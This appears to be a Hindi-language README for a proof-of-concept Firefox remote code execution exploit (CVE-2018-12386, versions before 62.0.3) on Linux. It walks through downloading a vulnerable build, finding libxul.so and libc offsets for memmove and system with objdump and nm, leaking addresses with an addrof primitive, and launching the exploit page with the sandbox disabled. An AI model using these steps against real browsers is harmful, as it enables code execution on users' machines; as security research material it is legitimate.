
CVE-2018-12386 - Linux के लिए Firefox सैंडबॉक्स्ड RCE शोषण (Firefox <v62.0.3)
यहाँ CVE-2018-12386 कमजोरी के लिए एक सरल एक्सप्लॉइट है, जिसे निकलस बौमस्टार्क, सैमुअल ग्रॉस और ब्रूनो कीथ ने खोजा था।
यह मुख्य रूप से मैंने मज़े के लिए बनाया गया PoC है, इसमें कोई सैंडबॉक्स बाइपास नहीं है और यह केवल एक दिए गए Linux सेटअप पर काम करेगा जहाँ एक्सप्लॉइट द्वारा उपयोग किए गए ऑफसेट पहले से ज्ञात हैं (इन्हें exploit/offsets.js में बदला जा सकता है)।
यह एक्सप्लॉइट Firefox 62.0.3 और Firefox ESR 60.2.2 से पहले के संस्करणों के लिए काम करता है।
आप पिछले Firefox रिलीज़ को सीधे Mozilla के FTP सर्वर से डाउनलोड कर सकते हैं: https://ftp.mozilla.org/pub/firefox/releases/
उदाहरण के लिए, आप 64-बिट Linux के लिए 62.0.2 संस्करण का उपयोग कर सकते हैं: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.so के ऑफसेटयदि आप Firefox 62.0.2 का उपयोग कर रहे हैं, तो exploit/offsets.js में दिए गए ऑफसेट सही होने चाहिए।
अन्य संस्करणों के लिए, ऐसा करने का एक आसान तरीका है कि JavaScript फ़ंक्शन Math.max का पता लीक करने के लिए addrof प्रिमिटिव का उपयोग करें, फिर Firefox के वर्तमान इंस्टेंस के लिए libxul.so का बेस पता खोजें (उदाहरण के लिए cat /proc/$(pidof firefox)/maps से) और libxul_math_max ऑफसेट प्राप्त करने के लिए दोनों को घटाएँ।
यदि आप Firefox 62.0.2 का उपयोग कर रहे हैं, तो exploit/offsets.js में दिए गए ऑफसेट सही होने चाहिए।
अन्य संस्करणों के लिए, ऐसा करने का एक आसान तरीका है objdump का उपयोग करना।
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 वह मान है जिसकी आपको आवश्यकता है, यानी libxul.so में memmove का ऑफसेट।
libc.so.6 के ऑफसेटये ऑफसेट पूरी तरह से आपके द्वारा उपयोग किए गए libc संस्करण पर निर्भर करते हैं।
# libc.so.6 स्थान
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
एक बार जब आपके पास Firefox और सही ऑफसेट हों, तो आप निम्न कमांड चलाकर एक्सप्लॉइट का परीक्षण कर सकते हैं:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

यदि आप नमस्ते कहना चाहते हैं: @Asri3l